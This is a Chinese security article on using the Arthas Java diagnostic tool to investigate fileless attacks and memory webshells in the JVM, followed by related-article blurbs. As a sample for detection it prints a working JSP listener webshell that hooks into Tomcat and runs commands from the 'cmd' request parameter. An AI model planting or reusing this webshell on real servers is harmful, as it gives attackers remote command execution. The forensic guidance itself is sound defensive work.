如何使用Arthas進行JVM取證

2021-03-02 FreeBuf
概述

Arthas是阿里開源的一款java診斷的工具,主要基於Instrument進行動態代理,以及JVMTI來與JVM進行通信交互。在無文件攻擊的概念越來越火熱的情況下,紅軍也急需能夠與之對抗的方式,而arthas應該可以成為其中的首選方案

基本用法

下載:https://github.com/alibaba/arthas/releases
使用:java -jar arthas-boot.jar

常用功能

thread #列印線程 / 查看線程當前的堆棧
jad #反編譯class
sc #查看jvm已加載的類信息
sm #查看類的方法信息
redefine #加載外部的.class,redefine已加載的類
dump #已加載類的byte code到特定的目錄
classloader #查看classloader的繼承樹,urls,類的加載信息
tt #方法執行數據的時空隧道
stack #方法的調用棧
trace #方法的內部調用路徑
watch #方法執行的詳細過程查看
mbean #mbean信息

取證實例classloader、jad — fastjson攻擊取證

fastjson的攻擊很被動的成為了無文件攻擊的最佳案例,在waf、日誌中捕獲到的信息都很難還原出攻擊的詳情,尤其是當攻擊者的ldap服務已經停止的情況下,這個時候就可以使用classloader進行取證

classloader 按類加載類型查看統計信息
classloader -l 按類加載實例查看統計信息
classloader -t 查看ClassLoader的繼承樹

這次取證中需要用到的是classloader -a #列出所有ClassLoader加載的類

classloader -a 搜索FactoryURLClassLoader

結果如下:

hash:4b5a7560, java.net.FactoryURLClassLoader@4b5a7560
TouchFile

然後使用jad就可以獲取到攻擊的詳情了

sc、sm — 無源碼情況下的基本信息獲取

sc和sm的使用方法基本一致

-E 使用正則進行匹配

-d 列印詳情

且類名和方法名都可以使用*作為通配符進行匹配

以哥斯拉的shell分析為例,可以通過sm顯示的方法基本判斷出shell中有什麼樣的功能

還可以通過關鍵詞搜索,來發現一些已經的惡意類的特徵,比如:payload / Evil等等

fastjson加載的惡意類有時候也可以通過這種方式進行搜索

stack、trace — 入侵檢測

stack和trace的使用方法也基本一致,stack/trace 類名 方法名即可

當一類新的攻擊出現的時候,需要快速的通過rasp進行攻擊利用捕獲時就可以使用stack和trace來協助進行漏洞分析和規則添加

以payload為@com.sun.rowset.JdbcRowSetImpl為例

mbean — Filter shell檢測

之前看過一篇《tomcat結合shiro無文件webshell的技術研究以及檢測方法》裡面是用jvisualvm來實現的,但是其實arthas也有這個功能

mbean 搜索j2eeType=Filter,然後mbean -m就可以列印出詳細的信息了

watch / tt — 內存shell的另一種檢測方式

1、tt -t 類 方法 #是一種當不了解入參、返回、類屬性詳細情況下,進行快速分析的一種方法

2、watch 類 方法 關注的內容 條件 #當清楚的知道方法的詳細情況的時候,進行分析的方式

關注內容 -> params 參數 / returnObj 返回對象 / throwExp 異常/ target 類的屬性信息

條件 -> ognl的表達式,比如 params[0]<0

參數 ->

-x 代表展開層級,代表會列印出多少層的數組/hashmap等

-b 方法調用前,-e 方法異常後,-s 方法返回後,-f 方法結束後

以listenershell為例

<%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%    Object obj = request.getServletContext();    java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");    field.setAccessible(true);    ApplicationContext applicationContext = (ApplicationContext) field.get(obj);        field = applicationContext.getClass().getDeclaredField("context");    field.setAccessible(true);    StandardContext standardContext = (StandardContext) field.get(applicationContext);        ListenerDemo listenerdemo = new ListenerDemo();        standardContext.addApplicationEventListener(listenerdemo);%><%!    public class ListenerDemo implements ServletRequestListener {        public void requestDestroyed(ServletRequestEvent sre) {            System.out.println("requestDestroyed");        }        public void requestInitialized(ServletRequestEvent sre) {            System.out.println("requestInitialized");            try{                String cmd = sre.getServletRequest().getParameter("cmd");                Runtime.getRuntime().exec(cmd);            }catch (Exception e ){                            }        }    }%>

可以看到關鍵點在於

standardContext.addApplicationEventListener(listenerdemo);

首先通過tt -t 列印出standardContext類在一次url訪問的時候會觸發到的函數

這其中很明顯跟listener相關的就是getApplicationEventListeners函數

然後使用watch returnObj 就可以當前的listener的信息了

類似的其他類型的隱藏shell都可以獲取的到

Filter shell
watch org.apache.catalina.core.StandardContext findFilterMaps returnObj
watch org.apache.catalina.core.StandardContext getServletContext target.filterDefs
Listener shell
watch org.apache.catalina.core.StandardContext getApplicationEventListeners returnObj
Servlet shell
watch org.apache.catalina.core.StandardContext findFilterMaps target.servletMappings
watch org.apache.catalina.core.ContainerBase findChildren returnObj
watch org.apache.catalina.core.StandardWrapper getServlet returnObj

ognl — shutdownhook

ognl 『@java.lang.System@out.println(「hello ognl」)』 通過ognl做動態執行
ognl 『@類名@靜態屬性名』
ognl 『@類@靜態方法(「參數」)』
ognl 『#value1=@類@方法(「」),#value2=xxx(#value1),{#value1,#value2}』 變量賦值
ognl 『target.{name}』 可以取出來array中的每一個name欄位
ognl 『@Test@n.entrySet().iterator.{? #this.key.name() == 「RUN」}』 迭代器

大致的使用方式就是這樣,實際的案例借用下長亭小哥《雜談Java內存Webshell的攻與防》中的案例

ognl 「@java.lang.ApplicationShutdownHooks@hooks.keySet().toArray().{getClass()}.{getName()}」

dump — 批量本地分析 / jad無法反編譯的情況下

比如哥斯拉的shell,直接jad會失敗

不過dump功能有個缺陷,詳見https://github.com/alibaba/arthas/issues/763

這個時候可以使用https://github.com/hengyunabc/dumpclass進行dump,然後配合Fernflower 進行反編譯即可(jd-gui反編譯這個class會報錯)

參考文檔

https://www.cnblogs.com/potatsoSec/p/13060261.html
https://zhuanlan.zhihu.com/p/227862004

相關焦點

  • 線上問題排查利器Arthas
    當然,上線前如何充分測試,線上出問題之後如何快速止血這些不在本文介紹範圍之內,本文主要介紹如何快速定位問題。線上問題複雜多樣,CPU飆升、RT突增、內存不足、性能下降等等,如何才能在最短時間內定位到問題呢?下面就來安利這款線上問題定位神器:Arthas。Arthas是一款阿里開源的Java診斷工具,對業務代碼無侵入,功能強悍,安裝簡單,上手快,深受Java開發者喜愛。
  • 分布式資料庫使用 Arthas 熱更新 dble-愛可生
    關於 dble 小版本修改代碼的熱更新,主要調研了兩種工具:arthasjrebel使用 arthas 更新小版本時,需要運維人員直接操作變更的 class 文件並修改,需要一套運維規範。使用 jrebel 後,jrebel 可以對 dble 的 jar 包配置一個 class 目錄,jrebel 自動監聽 class 目錄中 class 文件的變化,監聽到變化後自動加載類,此外該軟體需要付費。
  • JVM超神之路:年後跳槽需要的JVM知識點,周末給你整理了一份!!!
    7、大型項目如何進行性能瓶頸調優8、你實際遇到調優的場景GC常用參數Parallel常用參數CMS常用參數>G1常用參數四、實戰調優1、你在項目中都使用了哪些參數列印GC?另外,OOM 時自動 Dump 堆棧,我一般也會進行配置。2、常用的調優工具有哪些?
  • 還在為 Arthas 命令頭疼? 來看看這個插件吧!
    這裡得到一個結論:並不是每個人都是非常的關注arthas,對於arthas 的語法糖的使用並不是很care,我僅僅想快速的解決問題,一般就幾個常用的功能即可,我就想用一個簡單的功能,還要我記住這麼多?這麼麻煩,還不如打個log???2.4 我在本地如何快速啟動 arthas?
  • 6到飛起的阿里Java診斷工具Arthas
    因為它被設計和實現得儘可能小和快,所以非常適合在動態系統中使用(當然也可以以靜態方式使用,例如在編譯器中)工程目錄Arthas 是如何啟動的既然官方推薦用 arthas-boot 啟動,那下面我們就一起來看下 arthas-boot 是如何啟動的。
  • JVM之jvisualvm的簡單使用
    注意這個命令執行之後,進程會一直阻塞在shell終端上面,可以使用&,讓這個命令去後臺執行**jstatd -J-Djava.security.policy=/home/jvmtest/visualvm.remote.policy
  • Alibaba 應用診斷利器 Arthas 3.0.5 版本發布:提升全平臺用戶體驗
    全平臺通用的arthas-bootarthas-boot是新增加的支持全平臺的啟動器,Windows/Mac/Linux下使用體驗一致。下載後,直接java -jar命令啟動:wget https://alibaba.github.io/arthas/arthas-boot.jarjava -jar arthas-boot.jararthas-boot的功能比以前的as.sh更強大。比如下載速度比較慢,可以指定阿里雲的鏡像。
  • JVM 解剖公園:JNI 臨界區與 GC Locker
    問題JNI `Get*Critical` 如何與 GC 配合?GC Locker 是什麼?3.可能的情況 VM 會返回一個指向原始數據的指針,或者進行拷貝。但是,如何使用這些函數有很多限制。舉例來說,在使用簡單逐代回收算法情況下,如果將對象固定在年輕代裡,回收完成後就不能「忽略」年輕代中剩下的內容。而且也不能從這裡移動對象,因為這會破壞需要保持的對象。」固定包含指定對象的子空間「。同樣的,如果 GC 以 generation 為粒度進行回收,那麼這種方法無效。
  • JVM 面試題解答(40道全)
    /se8/html/jvms-2.html#jvms-2.56、運行時棧幀包含哪些結構?JVM 試圖定義一種統一的內存模型,能將各種底層硬體以及作業系統的內存訪問差異進行封裝,使 Java 程序在不同硬體以及作業系統上都能達到相同的並發效果。它分為工作內存和主內存,線程無法對主存儲器直接進行操作,如果一個線程要和另外一個線程通信,那麼只能通過主存進行交換。8、JVM 如何確定垃圾對象?
  • 使用Arthas神器,定位解決SpringBoot接口超時問題(附診斷流程)
    下面記錄下當時詳細的定位&解決流程(其實解決很簡單,關鍵在於怎麼定位並找到解決問題的方法)定位過程 分析代碼渠道系統是一個常見的spring-boot web工程,使用了集成的tomcat。的時候更長是因為arthas本身帶來的性能消耗,所以生產環境小心使用),這個就是要找的問題點。
  • JDK、JRE、JVM,是什麼關係?
    JVM 是如何工作的?背答案了嗎?「阿牛」:再見,面試官!三、JDK、JRE、JVM1.jvm.dll可能你之前並沒有注意過 jvm 原來在這裡:C:\Program Files\Java\jdk1.8.0_45\jre\bin\server這部分是整個 Java 實現跨平臺的最核心內容,由 Java 程序編譯成的 .class 文件會在虛擬機上執行。另外在 JVM 解釋 class 文件時需要調用類庫 lib。
  • JVM、GC 大串講,面試夠用了
    JVM JRE JDK的關係JVM(java虛擬機),將 .class 文件中的字節碼指令進行識別並調用作業系統向上的 API 完成動作。JVM不僅可以運行java程序,只要是能編譯成.class的文件都能運行。JRE (Java 運行時環境),包含了jvm和core lib。JDK (Java 開發工具包),它集成了jre和一些工具。
  • 聊到JVM(還怕面試官問JVM嗎?)
    因為現在的異構領域間通信很發達,比如可以使用 Socket通信,也可以使用 Web service等等,了解即可!在VM options中可以指定jvm試圖使用的最大內存和jvm初始化內存大小-Xms1024m -Xmx1024m -Xlog:gc*2、怎麼排除OOM
  • JVM 面試基礎準備篇(一)
    機器語言我們把CPU能夠直接認識的數據指令,稱為機器語言,也就是010101001這種形式不同廠商的 CPU不同 CPU 使用的 CPU 指令集是不一樣的,這就會有不兼容的問題;而且要是直接操作 01 這種形式的,非常麻煩並且容易出錯,硬體資源管理起來也不方便。
  • JVM性能調優實踐
    程序在上線前的測試或運行中有時會出現一些大大小小的JVM問題,比如cpu load過高、請求延遲、tps降低等,甚至出現內存洩漏(每次垃圾收集使用的時間越來越長,垃圾收集頻率越來越高,每次垃圾收集清理掉的垃圾數據越來越少)、內存溢出導致系統崩潰,因此需要對JVM進行調優,使得程序在正常運行的前提下,獲得更高的用戶體驗和運行效率。
  • JVM菜鳥進階高手之路十四:分析篇
    題目回顧JVM菜鳥進階高手之路十三,問題現象就是相同的代碼,jvm參數不一樣,表現的現象不一樣。由於上面的2個jvm參數都是基於分代收集算法的(先不考慮G1)依據對象的存活周期進行分為新生代,老年代。根據不同代的特點,選取合適的收集算法新生代,適合複製算法老年代,適合標記清理或者標記壓縮複製算法備註:使用複製算法的優點:每次都是對其中的一塊進行內存回收,內存分配時也就不用考慮內存碎片等複雜情況了,使用複製算法的
  • 面經手冊 · 第23篇《JDK、JRE、JVM,是什麼關係?》
    JVM 是如何工作的?背答案了嗎?「謝飛機」:再見,面試官!三、JDK、JRE、JVM1.jvm.dll 並不能獨立工作,當 jvm.dll 啟動後,會使用 explicit 方法來載入輔助動態連結庫一起執行。3. JDK 是什麼?綜上通過 Java 平臺標準和 JDK 的目錄結構,JDK 是 JRE 的超集,JDK 包含了 JRE 所有的開發、調試以及監視應用程式的工具。
  • java線程前傳——jvm內存結構、內存模型和cpu結構
    L2一級緩存分兩種,分別叫數據緩存(L1 D),指令緩存(L1 i)CPU肯定是需要和內存交互的,這個過程是少不了的一個線程肯定是要運行在一個核上的,多個線程可以運行在不同的核上,這個時候,因為緩存的存在,如果沒有同步機制,那一個線程修改了緩存的數據,另一個線程也修改了緩存的數據,這個時候這兩個線程修改後的數據都需要寫入到內存當中,就會出現問題jvm
  • jvm面試系列一:java內存模型你掌握了多少?
    今天我們就來聊一聊Java內存模型,面試中面試官會通過考察你對jvm的理解更深入得了解你的水平。